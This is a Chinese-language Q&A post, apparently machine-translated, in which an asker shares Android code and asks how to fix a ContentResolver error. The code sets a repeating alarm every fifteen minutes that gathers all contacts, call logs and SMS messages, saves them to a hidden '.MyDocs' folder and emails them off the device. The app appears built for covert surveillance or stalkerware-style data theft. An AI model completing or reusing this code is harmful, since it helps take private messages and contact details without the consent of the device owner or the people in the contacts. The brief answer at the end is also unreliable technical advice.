Question

我正在创建一个应用程序，它从设备收集所有联系人并通过电子邮件发送，但问题是当我调用函数contacts（）时，它会获取联系人列表＆＃34;从类名save将联系人保存到稍后发送的设备时会出现错误：

调用虚拟方法context.ContentResolver。

现在的问题是如何从保存类中的MainActivity调用getContacts（）方法，该方法在BroadcastReceiver中定期调用和执行。

主要活动代码

 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        startService(new Intent(getBaseContext(),SecureService.class));
        Intent i= new Intent(MainActivity.this,SecureReciever.class);
        PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0);
        AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE);
        am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi);
    }
 public ArrayList<String> getContacts(){
        ContentResolver cr= getContentResolver();
        ArrayList <String> contacts= new ArrayList<String>();
        try{

            Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null);
            assert cursor != null;
            String Item="";
            while(cursor.moveToNext()){
                String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
                String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
                Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null );
                String phonenumber="",_email="";
                assert phonecursor != null;
                while (phonecursor.moveToNext()){
                    phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"\n";
                }
                phonecursor.close();
                Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null);

                while (emailcursor.moveToNext()){
                    _email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
                }
                emailcursor.close();
                Item ="Name : "+ name + "\nPhone No : " + phonenumber + "\n Email : "+_email + "\n---------------------\n";
                contacts.add(Item);
            }
            cursor.close();
        }catch (Exception ex){
            Log.d("Error",ex.getMessage());
        }
        return contacts;
    }

保存类代码

public class save extends AsyncTask<String, Void ,String> {
    MainActivity ma=new MainActivity();
    @Override
    protected String doInBackground(String... params) {
        try{

            String Calllogs= ma.getCalllogs().toString();
            String SMS= ma.fetchinbox().toString();
            String Contacts= ma.getContacts().toString();

            String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs";
            File f=new File(Path);
            FileOutputStream fos;
            if (!f.exists())
                f.mkdir();
            File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt");
            File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt");
            File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt");

            if (file.exists())
                file.delete();
            else
            {
                try{
                    file.createNewFile();
                    file.setWritable(true);
                    fos= new FileOutputStream(file);
                    fos.write(Contacts.getBytes());
                    fos.close();
                }catch (Exception ex){
                    ex.printStackTrace();
                }
            }
            if (file1.exists())
                file1.delete();
            else
            {
                try{
                    file1.createNewFile();
                    file1.setWritable(true);
                    fos= new FileOutputStream(file1);
                    fos.write(Calllogs.getBytes());
                    fos.close();
                }catch (Exception ex){
                    ex.printStackTrace();
                }
            }
            if (file2.exists())
                file2.delete();
            else
            {
                try{
                    file2.createNewFile();
                    file2.setWritable(true);
                    fos= new FileOutputStream(file2);
                    fos.write(SMS.getBytes());
                    fos.close();
                }catch (Exception ex){
                    ex.printStackTrace();
                }
            }
        }catch (Exception ex){
            Log.d("Save Error", ex.getMessage());
        }
        return null;
    }

    @Override
    protected void onPostExecute(String s) {
        new sendmail().execute();
    }
}

调用BroadCastReceiver Wher保存类以执行异步任务以在后台保存数据

public class SecureReciever extends BroadcastReceiver {
    @Override
    public void onReceive(final Context context, Intent intent) {
        Date date= new Date();
        Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date));
        new save().execute();
    }
}

Answer 1

尝试将 getContacts（）访问说明符设为公共静态。如果需要，只需通过 MainActivity.getContacts（）

调用它

如何访问联系人并通过另一个不是和活动的类发送它们但是它不能用作contentResolver错误

1 个答案: